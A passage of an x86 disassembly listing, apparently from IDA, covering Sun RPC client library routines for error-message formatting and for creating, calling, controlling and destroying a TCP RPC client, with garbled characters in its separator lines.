push ebx call sprintf push ebx call sub_80662B0 add ebx, eax add esp, 14h loc_806387A: ; CODE XREF: sub_8063688+79j ; sub_8063688+10Fj ... push offset asc_806AB51 ; "\n" push ebx call sprintf mov eax, [ebp+var_10] loc_8063888: ; CODE XREF: sub_8063688+20j lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063688 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063894 proc near ; CODE XREF: sub_805D3A8+16Bp ; sub_805D638+E3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8063688 push eax push offset aS_3 ; "%s" push offset unk_80787A4 call fprintf mov esp, ebp pop ebp retn sub_8063894 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80638B8 proc near ; CODE XREF: sub_8063688+4Dp ; sub_8063938+7p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] call sub_805E954 xor ebx, ebx mov edi, offset unk_80790D8 xor ecx, ecx mov eax, offset unk_80790D8 loc_80638D4: ; CODE XREF: sub_80638B8+60j cmp [eax], esi jnz short loc_80638E4 mov eax, [edi+ecx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80638E4: ; CODE XREF: sub_80638B8+1Ej lea edx, [ecx+8] cmp [eax+8], esi jnz short loc_80638F8 mov eax, [edi+edx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80638F8: ; CODE XREF: sub_80638B8+32j lea edx, [ecx+10h] cmp [eax+10h], esi jnz short loc_806390C mov eax, [edi+edx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806390C: ; CODE XREF: sub_80638B8+46j add eax, 18h add ecx, 18h add ebx, 3 cmp ebx, 11h jbe short loc_80638D4 push offset aRpcUnknownErro ; "RPC: (unknown error code)" push 13h loc_8063921: ; CODE XREF: sub_80638B8+29j ; sub_80638B8+3Dj ... push 8 mov eax, dword_8078F9C push eax call catgets lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80638B8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063938 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_80638B8 push eax push offset aS_3 ; "%s" push offset unk_80787A4 call fprintf mov esp, ebp pop ebp retn sub_8063938 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063958 proc near ; CODE XREF: sub_8063A54+7p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] call sub_8063664 mov ebx, eax test ebx, ebx jnz short loc_8063974 xor eax, eax jmp loc_8063A48 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063974: ; CODE XREF: sub_8063958+11j call sub_805E954 push esi push offset aS_2 ; "%s: " push ebx call sprintf mov eax, dword_8079220 push eax call sub_80638B8 push eax push ebx call sub_80577C0 add esp, 18h mov eax, dword_8079220 cmp eax, 0Ch jz short loc_80639D0 cmp eax, 0Eh jnz loc_8063A3B push offset asc_806AD30 ; " - " push ebx call sub_80577C0 mov eax, dword_8079224 push eax call sub_80638B8 push eax push ebx call sub_80577C0 add esp, 14h jmp short loc_8063A3B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80639D0: ; CODE XREF: sub_8063958+4Aj push offset asc_806AD30 ; " - " push ebx call sub_80577C0 add esp, 8 cmp dword_8079228, 0 jle short loc_8063A1C mov eax, dword_8079228 cmp ds:dword_806BBB8, eax jle short loc_8063A1C mov eax, ds:dword_806AE98[eax*4] push eax mov eax, dword_8079228 inc eax push eax push 1 mov eax, dword_8078F9C push eax call catgets push eax push ebx call sub_80577C0 add esp, 18h jmp short loc_8063A3B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063A1C: ; CODE XREF: sub_8063958+8Dj ; sub_8063958+9Aj mov eax, dword_8079228 push eax push offset aErrorD ; "Error %d" push ebx call sub_80662B0 add esp, 4 add eax, ebx push eax call sprintf add esp, 0Ch loc_8063A3B: ; CODE XREF: sub_8063958+4Fj ; sub_8063958+75j ... push offset asc_806AB51 ; "\n" push ebx call sub_80577C0 mov eax, ebx loc_8063A48: ; CODE XREF: sub_8063958+15j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8063958 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063A54 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_8063958 push eax push offset aS_3 ; "%s" push offset unk_80787A4 call fprintf mov esp, ebp pop ebp retn sub_8063A54 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063A74 proc near ; CODE XREF: sub_8063688+140p var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] call sub_805E954 xor ebx, ebx mov edi, offset unk_8079168 xor ecx, ecx mov eax, offset unk_8079168 loc_8063A90: ; CODE XREF: sub_8063A74+80j cmp [eax], esi jnz short loc_8063AA0 mov eax, [edi+ecx+4] push eax lea eax, [ebx+1] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063AA0: ; CODE XREF: sub_8063A74+1Ej lea edx, [ecx+8] cmp [eax+8], esi jnz short loc_8063AB4 mov eax, [edi+edx+4] push eax lea eax, [ebx+2] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063AB4: ; CODE XREF: sub_8063A74+32j lea edx, [ecx+10h] cmp [eax+10h], esi jnz short loc_8063AC8 mov eax, [edi+edx+4] push eax lea eax, [ebx+3] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063AC8: ; CODE XREF: sub_8063A74+46j lea edx, [ecx+18h] cmp [eax+18h], esi jnz short loc_8063AE8 mov eax, [edi+edx+4] push eax lea eax, [ebx+4] loc_8063AD8: ; CODE XREF: sub_8063A74+28j ; sub_8063A74+3Cj ... push eax push 7 mov eax, dword_8078F9C push eax call catgets jmp short loc_8063AF8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063AE8: ; CODE XREF: sub_8063A74+5Aj add eax, 20h add ecx, 20h add ebx, 4 cmp ebx, 7 jbe short loc_8063A90 xor eax, eax loc_8063AF8: ; CODE XREF: sub_8063A74+72j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063A74 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063B04 proc near ; CODE XREF: sub_805CE84+248p ; sub_805DA10+A3p var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 38h push edi push esi push ebx mov ebx, [ebp+arg_0] xor esi, esi call sub_805E954 push 0Ch call malloc mov edi, eax add esp, 4 test edi, edi jz short loc_8063B37 push 64h call malloc mov esi, eax add esp, 4 test esi, esi jnz short loc_8063B78 loc_8063B37: ; CODE XREF: sub_8063B04+21j push offset aOutOfMemory ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call catgets push eax push offset aClnttcp_crea_0 ; "clnttcp_create: %s\n" push offset unk_80787A4 call fprintf mov dword_8079220, 0Ch mov eax, __errno mov dword_8079228, eax add esp, 1Ch jmp loc_8063D08 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063B78: ; CODE XREF: sub_8063B04+31j cmp word ptr [ebx+2], 0 jnz short loc_8063BA1 push 6 mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push ebx call sub_80649E0 add esp, 10h test ax, ax jz loc_8063D08 xchg al, ah mov [ebx+2], ax loc_8063BA1: ; CODE XREF: sub_8063B04+79j mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jge short loc_8063C10 push 6 push 1 push 2 call socket mov edx, [ebp+arg_C] mov [edx], eax push 0 push eax call sub_8066A50 add esp, 14h mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jl short loc_8063BDE push 10h push ebx mov eax, [edx] push eax call connect add esp, 0Ch test eax, eax jge short loc_8063C04 loc_8063BDE: ; CODE XREF: sub_8063B04+C6j mov dword_8079220, 0Ch mov eax, __errno mov dword_8079228, eax mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jl loc_8063D08 jmp loc_8063CA1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063C04: ; CODE XREF: sub_8063B04+D8j mov dword ptr [esi+4], 1 jmp short loc_8063C17 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063C10: ; CODE XREF: sub_8063B04+A3j mov dword ptr [esi+4], 0 loc_8063C17: ; CODE XREF: sub_8063B04+107j mov edx, [ebp+arg_C] mov eax, [edx] mov [esi], eax mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov eax, [ebx] mov [esi+14h], eax mov eax, [ebx+4] mov [esi+18h], eax mov eax, [ebx+8] mov [esi+1Ch], eax mov eax, [ebx+0Ch] mov [esi+20h], eax push 0 lea eax, [ebp+var_38] push eax call gettimeofday call getpid xor eax, [ebp+var_38] xor eax, [ebp+var_34] mov [ebp+var_30], eax mov [ebp+var_2C], 0 mov [ebp+var_28], 2 mov edx, [ebp+arg_4] mov [ebp+var_24], edx mov edx, [ebp+arg_8] mov [ebp+var_20], edx push 0 push 18h lea eax, [esi+30h] push eax lea ebx, [esi+4Ch] push ebx call sub_8065408 lea eax, [ebp+var_30] push eax push ebx call sub_8064C9C add esp, 20h test eax, eax jnz short loc_8063CB0 cmp dword ptr [esi+4], 0 jz short loc_8063D08 mov edx, [ebp+arg_C] loc_8063CA1: ; CODE XREF: sub_8063B04+FAj mov eax, [edx] push eax call close add esp, 4 jmp short loc_8063D08 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063CB0: ; CODE XREF: sub_8063B04+192j mov eax, [esi+50h] lea ebx, [esi+4Ch] push ebx mov eax, [eax+10h] call eax mov [esi+48h], eax mov eax, [esi+50h] add esp, 4 cmp dword ptr [eax+1Ch], 0 jz short loc_8063CD4 push ebx mov eax, [eax+1Ch] call eax add esp, 4 loc_8063CD4: ; CODE XREF: sub_8063B04+1C5j push offset sub_8064174 push offset sub_8064074 push esi mov edx, [ebp+arg_14] push edx mov edx, [ebp+arg_10] push edx lea eax, [esi+4Ch] push eax call sub_8065750 mov dword ptr [edi+4], offset off_80791A8 mov [edi+8], esi call sub_8067094 mov [edi], eax mov eax, edi jmp short loc_8063D16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063D08: ; CODE XREF: sub_8063B04+6Ej ; sub_8063B04+91j ... push esi call free push edi call free xor eax, eax loc_8063D16: ; CODE XREF: sub_8063B04+1FFj lea esp, [ebp+var_44] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063B04 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063D20 proc near ; DATA XREF: .data:080791A8o var_50 = byte ptr -50h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 44h push edi push esi push ebx mov ecx, [ebp+arg_0] mov ebx, [ecx+8] lea esi, [ebx+4Ch] lea edi, [ebx+30h] mov [ebp+var_38], edi mov [ebp+var_3C], 2 cmp dword ptr [ebx+10h], 0 jnz short loc_8063D51 mov ecx, [ebp+arg_18] mov [ebx+8], ecx mov ecx, [ebp+arg_1C] mov [ebx+0Ch], ecx loc_8063D51: ; CODE XREF: sub_8063D20+23j mov [ebp+var_44], 0 cmp [ebp+arg_10], 0 jnz short loc_8063D6A cmp [ebp+arg_18], 0 jnz short loc_8063D6A cmp [ebp+arg_1C], 0 jz short loc_8063D71 loc_8063D6A: ; CODE XREF: sub_8063D20+3Cj ; sub_8063D20+42j mov [ebp+var_44], 1 loc_8063D71: ; CODE XREF: sub_8063D20+48j ; sub_8063D20+22Cj mov dword ptr [esi], 0 mov dword ptr [ebx+24h], 0 mov edi, [ebp+var_38] dec dword ptr [edi] mov ecx, [edi] xchg cl, ch ror ecx, 10h xchg cl, ch mov [ebp+var_34], ecx mov edi, [esi+4] mov edx, [ebx+48h] push edx lea edx, [ebx+30h] push edx push esi mov edx, [edi+0Ch] call edx add esp, 0Ch test eax, eax jz short loc_8063DE2 mov edx, [esi+4] lea ecx, [ebp+arg_4] push ecx push esi mov edx, [edx+4] call edx add esp, 8 test eax, eax jz short loc_8063DE2 mov ecx, [ebp+arg_0] mov edx, [ecx] mov edi, [edx+20h] push esi push edx mov edx, [edi+4] call edx add esp, 8 test eax, eax jz short loc_8063DE2 mov ecx, [ebp+arg_C] push ecx push esi mov edi, [ebp+arg_8] call edi add esp, 8 test eax, eax jnz short loc_8063DFC loc_8063DE2: ; CODE XREF: sub_8063D20+85j ; sub_8063D20+99j ... cmp dword ptr [ebx+24h], 0 jnz short loc_8063DEF mov dword ptr [ebx+24h], 1 loc_8063DEF: ; CODE XREF: sub_8063D20+C6j push 1 push esi call sub_8065BE4 jmp loc_8063F52 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063DFC: ; CODE XREF: sub_8063D20+C0j mov ecx, [ebp+var_44] push ecx push esi call sub_8065BE4 add esp, 8 test eax, eax jnz short loc_8063E20 mov dword ptr [ebx+24h], 3 mov eax, 3 jmp loc_8063F55 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063E20: ; CODE XREF: sub_8063D20+EBj cmp [ebp+var_44], 0 jnz short loc_8063E30 xor eax, eax jmp loc_8063F55 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063E30: ; CODE XREF: sub_8063D20+104j cmp [ebp+arg_18], 0 jnz short loc_8063E50 cmp [ebp+arg_1C], 0 jnz short loc_8063E50 mov dword ptr [ebx+24h], 5 mov eax, 5 jmp loc_8063F55 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063E50: ; CODE XREF: sub_8063D20+114j ; sub_8063D20+11Aj mov dword ptr [esi], 1 lea esi, [esi] loc_8063E58: ; CODE XREF: sub_8063D20+187j ; sub_8063D20+196j mov edx, dword_8079230 mov [ebp+var_24], edx mov edx, dword_8079234 mov [ebp+var_20], edx mov edx, dword_8079238 mov [ebp+var_1C], edx mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_8064E94 push esi call sub_8065B2C add esp, 4 test eax, eax jz loc_8063F52 lea edx, [ebp+var_30] push edx push esi call sub_8064C48 add esp, 8 test eax, eax jnz short loc_8063EB0 cmp dword ptr [ebx+24h], 0 jz short loc_8063E58 jmp loc_8063F52 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063EB0: ; CODE XREF: sub_8063D20+181j mov ecx, [ebp+var_34] cmp [ebp+var_30], ecx jnz short loc_8063E58 lea edx, [ebx+24h] push edx lea edx, [ebp+var_30] push edx call sub_8064DE0 add esp, 8 cmp dword ptr [ebx+24h], 0 jnz short loc_8063F30 mov edi, [ebp+arg_0] mov edi, [edi] mov eax, [edi+20h] lea edx, [ebp+var_24] push edx push edi mov edx, [eax+8] call edx add esp, 8 test eax, eax jnz short loc_8063EF8 mov dword ptr [ebx+24h], 7 mov dword ptr [ebx+28h], 6 jmp short loc_8063F16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063EF8: ; CODE XREF: sub_8063D20+1C5j mov ecx, [ebp+arg_14] push ecx push esi mov edi, [ebp+arg_10] call edi add esp, 8 test eax, eax jnz short loc_8063F16 cmp dword ptr [ebx+24h], 0 jnz short loc_8063F16 mov dword ptr [ebx+24h], 2 loc_8063F16: ; CODE XREF: sub_8063D20+1D5j ; sub_8063D20+1E7j ... cmp [ebp+var_20], 0 jz short loc_8063F52 mov dword ptr [esi], 2 lea edx, [ebp+var_24] push edx push esi call sub_8064B1C jmp short loc_8063F52 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063F30: ; CODE XREF: sub_8063D20+1ACj dec [ebp+var_3C] cmp [ebp+var_3C], 0FFFFFFFFh jz short loc_8063F52 mov ecx, [ebp+arg_0] mov edx, [ecx] mov edi, [edx+20h] push edx mov edx, [edi+0Ch] call edx add esp, 4 test eax, eax jnz loc_8063D71 loc_8063F52: ; CODE XREF: sub_8063D20+D7j ; sub_8063D20+16Cj ... mov eax, [ebx+24h] loc_8063F55: ; CODE XREF: sub_8063D20+F9j ; sub_8063D20+108j ... lea esp, [ebp+var_50] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063D20 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063F60 proc near ; DATA XREF: .data:080791B0o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [eax+8] mov eax, [edx+24h] mov [ecx], eax mov eax, [edx+28h] mov [ecx+4], eax mov eax, [edx+2Ch] mov [ecx+8], eax mov esp, ebp pop ebp retn sub_8063F60 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063F84 proc near ; DATA XREF: .data:080791B4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [eax+8] lea edx, [eax+4Ch] mov dword ptr [eax+4Ch], 2 push ecx push edx call ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8063F84 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063FAC proc near ; DATA XREF: .data:080791ACo push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_8063FAC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063FB4 proc near ; DATA XREF: .data:080791BCo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov ebx, [ebp+arg_8] mov eax, [edx+8] cmp ecx, 2 jz short loc_8063FF0 jg short loc_8063FD4 cmp ecx, 1 jz short loc_8063FDC jmp short loc_806401C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063FD4: ; CODE XREF: sub_8063FB4+15j cmp ecx, 3 jz short loc_8064000 jmp short loc_806401C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063FDC: ; CODE XREF: sub_8063FB4+1Aj mov edx, [ebx] mov ecx, [ebx+4] mov [eax+8], edx mov [eax+0Ch], ecx mov dword ptr [eax+10h], 1 jmp short loc_8064020 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063FF0: ; CODE XREF: sub_8063FB4+13j mov edx, [eax+8] mov ecx, [eax+0Ch] mov [ebx], edx mov [ebx+4], ecx jmp short loc_8064020 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064000: ; CODE XREF: sub_8063FB4+23j mov edx, [eax+14h] mov [ebx], edx mov edx, [eax+18h] mov [ebx+4], edx mov edx, [eax+1Ch] mov [ebx+8], edx mov edx, [eax+20h] mov [ebx+0Ch], edx jmp short loc_8064020 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806401C: ; CODE XREF: sub_8063FB4+1Cj ; sub_8063FB4+25j xor eax, eax jmp short loc_8064025 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064020: ; CODE XREF: sub_8063FB4+3Aj ; sub_8063FB4+47j ... mov eax, 1 loc_8064025: ; CODE XREF: sub_8063FB4+6Aj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8063FB4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806402C proc near ; DATA XREF: .data:080791B8o var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [esi+8] cmp dword ptr [ebx+4], 0 jz short loc_8064048 mov eax, [ebx] push eax call close add esp, 4 loc_8064048: ; CODE XREF: sub_806402C+Fj mov edx, [ebx+50h] cmp dword ptr [edx+1Ch], 0 jz short loc_806405D lea eax, [ebx+4Ch] push eax mov eax, [edx+1Ch] call eax add esp, 4 loc_806405D: ; CODE XREF: sub_806402C+23j push ebx call free push esi call free lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_806402C endp ; 